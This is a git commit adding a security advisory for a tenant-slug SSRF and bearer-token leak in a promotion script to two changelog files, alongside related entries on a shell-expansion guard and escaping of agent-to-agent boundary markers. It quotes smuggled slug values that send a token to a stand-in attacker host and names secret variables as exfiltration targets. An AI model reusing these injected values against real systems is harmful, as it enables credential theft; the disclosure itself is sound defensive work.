docs(changelog): add OFFSEC-006 tenant-slug SSRF advisory to 2026-05-14 + security changelog

Adds molecule-core#933 (OFFSEC-006, CWE-918 SSRF + token exfiltration)
to the 2026-05-14 Security section in changelog.mdx.

Also adds OFFSEC-006 to the Security Changelog (security/changelog.md)
with full vulnerability + fix details, cross-referencing docs#41
(offsec-006-slug-ssrf-advisory.mdx) which will add the full
advisory page when it merges.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

content/docs/changelog.mdx

@@ -19,6 +19,7 @@ Entries are published daily at 23:50 UTC.
 ### 🔒 Security
 
 - **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
+- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
 - **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
 
 ### 🐛 Bug fixes

content/docs/security/changelog.md

@@ -9,6 +9,32 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent
 
 ---
 
+## 2026-05-14 — CWE-918 + CWE-20: Tenant-Slug SSRF and Bearer-Token Exfiltration in `promote-tenant-image.sh`
+
+**Severity:** High (CWE-918 SSRF + CWE-20 Improper Input Validation)
+**PR:** [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pull/933)
+**Affected:** `scripts/promote-tenant-image.sh`
+**SaaS impact:** None — platform applies the fix server-side
+
+### Vulnerability
+
+`promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR repository identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could cause the platform to redirect HTTP calls to an attacker-controlled host (SSRF) and expose the platform's bearer token in the attacker's server access logs via the same URL parameter injection.
+
+Bash glob metacharacters (`*`, `?`, `[`) in slug values were subject to pathname expansion before being passed to curl, adding a secondary injection vector: a slug like `evil?url=https://attacker.com` would expand to a list of filenames before being interpolated into the URL.
+
+### Fix
+
+Two-layer defence applied to `promote-tenant-image.sh`:
+
+1. **`set -f`** (script top): disables glob expansion, so `*`, `?`, and `[` are treated as literal characters.
+2. **`validate_slug()`**: new function using RFC-1123 regex (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`). Invalid slugs are rejected with exit code 64 before any network call is issued. Additionally, `validate_tenants()` is called after argument parsing and exits 64 on any tenant with an invalid slug.
+
+### User-facing summary
+
+Self-hosted operators must upgrade to the latest `molecule-core` build to include this fix. Tenant slugs are now validated against RFC-1123 before any network call. Slugs containing `?`, `#`, `&`, `$`, `/`, `\`, or spaces are rejected. If you cannot upgrade immediately, audit all tenant slugs and rename any containing these characters.
+
+---
+
 ## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
 
 **Severity:** Critical (CWE-78)